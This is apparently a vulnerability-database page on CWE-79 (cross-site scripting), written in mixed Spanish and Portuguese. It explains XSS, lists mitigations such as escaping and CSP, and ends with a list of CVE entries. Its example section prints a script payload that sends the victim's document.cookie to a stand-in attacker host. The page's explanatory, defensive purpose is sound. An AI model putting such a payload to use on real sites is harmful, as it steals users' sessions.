Fallos del tipo CWE-79

28.778 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-35131MEDIUMMoodle: xss risk on groups pageEPSS 0.7%CVE-2023-43343MEDIUMCross-site scripting (XSS) vulnerability in opensolution Quick CMS v.6.7 allows a local attacker to execute arbitrary code via a crafted scrEPSS 0.7%CVE-2024-24506MEDIUMCross Site Scripting (XSS) vulnerability in Lime Survey Community Edition Version v.5.3.32+220817, allows remote attackers to execute arbitrEPSS 0.7%CVE-2022-35721MEDIUMIBM Jazz for Service Management 1.1.3 is vulnerable to stored cross-site scripting. This vulnerability allows users to embed arbitrary JavaSEPSS 0.7%CVE-2019-10146MEDIUMA Reflected Cross Site Scripting flaw was found in all pki-core 10.x.x versions module from the pki-core server due to the CA Agent Service EPSS 0.7%CVE-2022-2374—Simply Schedule Appointments < 1.5.7.7 - Admin+ Stored Cross-Site ScriptingEPSS 0.7%CVE-2020-13672—Cross-site Scripting (XSS) vulnerability in Drupal core's sanitization API fails to properly filter cross-site scripting under certain circuEPSS 0.7%CVE-2022-1997HIGHCross-site Scripting (XSS) - Stored in francoisjacquet/rosariosisEPSS 0.7%CVE-2024-34120MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.7%CVE-2022-1590LOWBludit New Content Module new-content cross site scriptingEPSS 0.7%CVE-2024-36142MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.7%CVE-2024-26121MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.7%CVE-2021-24616—AddToAny Share Buttons < 1.7.48 - Admin+ Stored Cross-Site ScriptingEPSS 0.7%CVE-2021-24598—Testimonial Builder < 1.6.0 - Admin+ Stored Cross-Site ScriptingEPSS 0.7%CVE-2024-26117MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.7%CVE-2024-26085MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.7%CVE-2024-10234MEDIUMWildfly: wildfly vulnerable to cross-site scripting (xss)EPSS 0.7%CVE-2021-24658—Erident Custom Login and Dashboard < 3.5.9 - Authenticated Stored Cross-Site Scripting (XSS)EPSS 0.7%CVE-2024-26123MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.7%CVE-2021-24574—Simple Banner < 2.10.4 - Authenticated Stored XSSEPSS 0.7%